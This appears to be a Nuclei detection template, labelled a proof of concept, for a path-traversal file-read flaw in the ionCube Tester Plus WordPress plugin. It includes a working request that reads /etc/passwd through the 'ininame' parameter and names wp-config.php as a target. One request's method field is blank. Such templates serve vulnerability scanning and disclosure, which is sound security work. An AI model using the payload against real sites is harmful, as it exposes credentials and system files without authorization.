The ionCube Tester Plus plugin for WordPress versions <= 1.3 is vulnerable to unauthenticated arbitrary file read via path traversal. The 'ininame' parameter in loader-wizard.php is not properly sanitized, allowing attackers to read sensitive files such as wp-config.php and /etc/passwd without authentication.
PoC
id: CVE-2025-69411
info:
name: ionCube Tester Plus <= 1.3 - Local File Inclusion
author: pussycat0x
severity: high
description: |
The ionCube Tester Plus plugin for WordPress versions <= 1.3 is vulnerable to unauthenticated arbitrary file read via path traversal. The 'ininame' parameter in loader-wizard.php is not properly sanitized, allowing attackers to read sensitive files such as wp-config.php and /etc/passwd without authentication.
remediation: |
Update to the latest version beyond 1.3.
impact:
Attackers can access unauthorized files, potentially exposing sensitive information or system files.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ioncube-tester-plus/ioncube-tester-plus-13-unauthenticated-arbitrary-file-download
- https://nvd.nist.gov/vuln/detail/CVE-2025-69411
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-69411
epss-score: 0.01609
epss-percentile: 0.74683
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: ioncube
product: ioncube-tester-plus
framework: wordpress
tags: cve,cve2025,wordpress,wp,wp-plugin,lfi,ioncube-tester-plus
flow: http(1) && http(2)
http:
- method:
path:
- "{{BaseURL}}/wp-content/plugins/ioncube-tester-plus/readme.txt"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- compare_versions(version, '<= 1.3')
condition: and
internal: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- '(?i)Stable tag:\s+([0-9.]+)'
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/ioncube-tester-plus/loader-wizard.php?page=phpconfig&download=1&ininame=../../../../../../../../etc/passwd"
matchers:
- type: dsl
dsl:
- contains(content_type, 'text/plain')
- regex('root:.*:0:0:', body)
- status_code == 200
condition: and
# digest: 4a0a004730450221008c4b467a11ed7baafda285ad1156b460517937b856b345a22ad644844b60ea6e0220228206325bf16786d767b7270efaa231fff53992d86471a2d625cedd4b5a23b2:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.